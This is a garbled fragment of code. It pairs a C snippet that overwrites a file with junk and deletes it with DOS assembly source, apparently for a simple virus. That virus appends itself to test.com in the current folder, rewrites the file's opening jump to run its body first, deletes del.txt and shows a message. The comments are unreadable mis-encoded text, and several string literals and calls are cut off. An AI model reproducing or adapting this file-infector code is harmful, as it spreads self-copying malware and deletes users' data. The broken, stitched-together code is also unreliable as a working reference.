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// TODO: Overwrite the Original File with Rubbish Data

if(!WriteFile( hFileDel,

RubbishData,

dwBufferLength,

&dwBytesWritten,

NULL) ) {

ErrorExit(\

return -1; }

CloseHandle(hFileDel);

// TODO: Delete the Modified File

if(!DeleteFile(pFileName)) {

ErrorExit(\

return -1; }

return 1;

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;¹¦ÄÜ£º¸ÐȾµ±Ç°Îļþ¼ÐµÄtest.comÎļþ ; ²¢É¾³ýµ±Ç°Îļþ¼ÐµÄdel.txtÎļþ ; ÏÔʾԤÉèµÄ×Ö·û´® CSEG SEGMENT

ASSUME CS:CSEG,DS:CSEG,SS:CSEG main PROC NEAR mainstart:

CALL vstart ;²¡¶¾µÄ´úÂ뿪ʼ´¦ vstart:

POP SI ;µÃµ½µ±Ç°µØÖ· MOV BP,SI ;±£´æµ±Ç°µØÖ· PUSH SI MOV AH,9

ADD SI,OFFSET message-OFFSET vstart ;ÏÔʾԤÉè×Ö·û´® MOV DX,SI INT 21h POP SI

ADD SI,OFFSET yuan4byte-OFFSET vstart ;È¡µÃÔ­³ÌÐòÖеÄǰËĸö×Ö½Ú MOV DI,100h ;Ä¿µÄµØÖ· MOV AX,DS:[SI] ;¿ªÊ¼¸´ÖÆ MOV DS:[DI],AX INC SI INC SI INC DI INC DI

MOV AX,DS:[SI] MOV DS:[DI],AX

MOV SI,BP ;»Ö¸´µØÖ·Öµ

MOV DX,OFFSET delname-OFFSET vstart ADD DX,SI MOV AH,41h INT 21h

MOV DX,OFFSET filename-OFFSET vstart ;µÃµ½ÎļþÃû ADD DX,SI MOV AL,02

MOV AH,3dh ;дÎļþ INT 21h JC error

MOV BX,AX ;Îļþ¾ä±ú

MOV DX,OFFSET yuan4byte-OFFSET vstart ;¶ÁÎļþµÄǰËĸö×Ö½Ú

ADD DX,SI MOV CX,4 MOV AH,3fh INT 21h

MOV AX,4202h ;µ½Îļþβ XOR CX,CX XOR DX,DX INT 21h

MOV DI,OFFSET new4byte-OFFSET vstart ;±£´æÒªÌøµÄµØ·½ ADD DI,2 ADD DI,SI SUB AX,4

MOV DS:[DI],AX

ADD SI,OFFSET mainstart-OFFSET vstart ;×¼±¸Ð´È벡¶¾ MOV DX,SI

MOV vsizes,OFFSET vends-OFFSET mainstart MOV CX,vsizes MOV AH,40h INT 21h

MOV SI,BP ;¶¨Î»µ½ÎļþÍ· MOV AL,0 XOR CX,CX XOR DX,DX MOV AH,42h INT 21h

MOV AH,40h ;½«ÐµÄÎļþͷдÈë MOV CX,4

MOV DX,OFFSET new4byte-OFFSET vstart ADD DX,SI INT 21h

MOV AH,3eh ;¹Ø±ÕÎļþ INT 21h error:

MOV AX,100h PUSH AX RET

main ENDP yuan4byte: RET

DB 3 DUP (?) vsizes DW 0

new4byte DB ?M?,0e9h,0,0 filename DB \ delname DB \

message DB \ DB 0dh,0ah,\ vends: start:

MOV AX,CSEG MOV DS,AX MOV SS,AX CALL main MOV AX,4c00h INT 21h

CSEG ENDS END start

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